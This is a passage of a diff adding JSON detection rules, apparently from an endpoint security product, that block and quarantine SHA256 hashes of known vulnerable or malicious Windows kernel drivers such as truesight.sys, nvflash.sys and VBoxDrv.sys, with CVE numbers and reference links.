+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ddadf89-ac9a-5f86-a52c-a16d9e02a4ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817470Z",
+  "creation_date": "2026-03-23T11:45:30.817472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817477Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5640179b9cffc3517d322ac2c0bc1258b563f65ebb1b67eb22ecf7f3a0500c7d",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7de1a559-ffe7-542b-a95f-d7ecc61b53f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474993Z",
+  "creation_date": "2026-03-23T11:45:31.474997Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475008Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3322c0acfc5059a56a43d3ba4aec5e50fd33e4cbecde61886870d35ca713770",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7de728fc-c055-52c3-a077-08a6352d0235",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494583Z",
+  "creation_date": "2026-03-23T11:45:31.494585Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494590Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "936cd8d5a9631f699f6ea47aee9bb2830f8e5d344a5cbc9a5406849f8c76590b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7ded9750-04c4-5131-a855-6e5f266b5654",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619072Z",
+  "creation_date": "2026-03-23T11:45:29.619074Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619079Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d510b3424178f80cbe926217d74bbecbf682a88f1b6052ef27fd27d601fc14f7",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7df869e0-2205-5e7c-ad6c-234f90b32ac3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452569Z",
+  "creation_date": "2026-03-23T11:45:30.452572Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452580Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8922be14c657e603179f1dd94dc32de7c99d2268ac92d429c4fdda7396c32e50",
+  "comment": "Malicious Kernel Driver (aka 1fc7aeeff3ab19004d2e53eae8160ab1.sys) [https://www.loldrivers.io/drivers/aaf8ce1a-e11b-4929-96e0-5ec0666cef2c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7df95a3f-034d-5650-87d4-186b63cfa41f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823088Z",
+  "creation_date": "2026-03-23T11:45:31.823090Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823096Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f3bb5f551e507edc3acf10dc6256330d9346ba8507835d4d3c502a14910d36ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e1ae96f-aadd-50c8-a0c3-250ab5d41ee0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498522Z",
+  "creation_date": "2026-03-23T11:45:31.498525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498534Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "336fa6004c339b5febea9dac960d794a61c34fdcecf4df8674126e3fe7325020",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e1e08a7-fb2b-5dba-a718-41b2ce4314a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607508Z",
+  "creation_date": "2026-03-23T11:45:29.607510Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607515Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13aa698c09a31d642d3e2a9dd03be2363b11b4024689fb6c97234719446dbbd7",
+  "comment": "Vulnerable Kernel Driver (aka PanIOx64.sys) [https://www.loldrivers.io/drivers/93c84c08-4683-493d-abf7-22dc2d1cb567/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e1f2249-2ebd-523d-90a5-640892468946",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142910Z",
+  "creation_date": "2026-03-23T11:45:31.142912Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142917Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f4cde6f97420602f31c1bc9aa72a57a46c27ebc37dd412f0aed74cc9e0d1e46",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e288d1a-4c39-5197-9455-197035923ecb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616347Z",
+  "creation_date": "2026-03-23T11:45:29.616349Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616354Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65c26276cadda7a36f8977d1d01120edb5c3418be2317d501761092d5f9916c9",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e32d87e-1736-5624-b849-516bc7e81490",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975024Z",
+  "creation_date": "2026-03-23T11:45:29.975026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975032Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ef0dbc4c4735f30e96e16375b18c2f5fa58e15ef60d17786e39e616a4438e264",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e35bd3e-2d1b-5cb5-8803-2e60722dbbf3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829487Z",
+  "creation_date": "2026-03-23T11:45:31.829489Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829495Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39af2d3c5bd48f671489db694c1dd7be6dc00165ec687f27f53ce95e7cb2fc29",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e3a3cf0-ae6b-5c4c-b790-d1e8fbb8c8ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968040Z",
+  "creation_date": "2026-03-23T11:45:29.968042Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968048Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8fb3d3db095920345cafc55821598b4f46f8d756caf2f18016e331e5567e6a41",
+  "comment": "Projector Rootkit malicious drivers (aka KB_VRX_deviced.sys) [https://twitter.com/struppigel/status/1551503748601729025] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e3bd893-fdf3-519f-ba35-55ad7518ca9f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499001Z",
+  "creation_date": "2026-03-23T11:45:31.499004Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499012Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2600f0baa96e447adb3469e95ddbd8bc103c9ae9ee2ed123007873070fb545c7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e41d856-0158-5e56-be83-8d566d129170",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618339Z",
+  "creation_date": "2026-03-23T11:45:29.618341Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618346Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eef68fdc5df91660410fb9bed005ed08c258c44d66349192faf5bb5f09f5fa90",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e43783f-f0fb-5a31-93ff-9c8be54f89ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471626Z",
+  "creation_date": "2026-03-23T11:45:31.471629Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe3256ba26e1b2b60ab1e4fd61196a8fc4a341b2eef7ff9582590c27b682f439",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e44ed3d-6027-5b0a-b1d5-b129ff708b72",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816602Z",
+  "creation_date": "2026-03-23T11:45:31.816606Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816614Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8159cd1a161eb79c7e2ae361dbbfa24f4b8a30c64679b4b1618acd2f0225d126",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e452da1-6856-58fd-8d1d-6715c6d74516",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817506Z",
+  "creation_date": "2026-03-23T11:45:30.817508Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817513Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2288c418ddadd5a1db4e58c118d8455b01fd33728664408ce23b9346ae0ca057",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e4ac328-0684-5a4c-a0a6-176ff72bfc5b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821786Z",
+  "creation_date": "2026-03-23T11:45:30.821790Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821798Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "182bbdb9ecd3932e0f0c986b779c2b2b3997a7ca9375caa2ec59b4b08f4e9714",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e597db8-a91a-5341-a859-e143a8ecd618",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811399Z",
+  "creation_date": "2026-03-23T11:45:31.811401Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811407Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1209cbe84d04f0c752cf1dcf4ab861a4563272f939fbd2cbf8b83ac5a2901597",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e62efd7-d2a1-5e88-945a-fff000326685",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810309Z",
+  "creation_date": "2026-03-23T11:45:31.810311Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810316Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e09d1f618b48463045f84d6c5998ef060edfd07ff83fa8d44d136ca01a7dcae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7e69fc38-b6ed-5075-aed7-369b17f69fb3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142688Z",
+  "creation_date": "2026-03-23T11:45:32.142690Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142696Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "97ba73eea08c19478189d5c07b48c250a68cd7652517ba8b2633e8c2d1ee2b4c",
+  "comment": "Vulnerable IKARUS anti.virus Driver (aka ntguard.sys and ntguard_x64.sys) [https://www.greyhathacker.net/?p=995, https://www.exploit-db.com/exploits/43139] [file SHA256]",
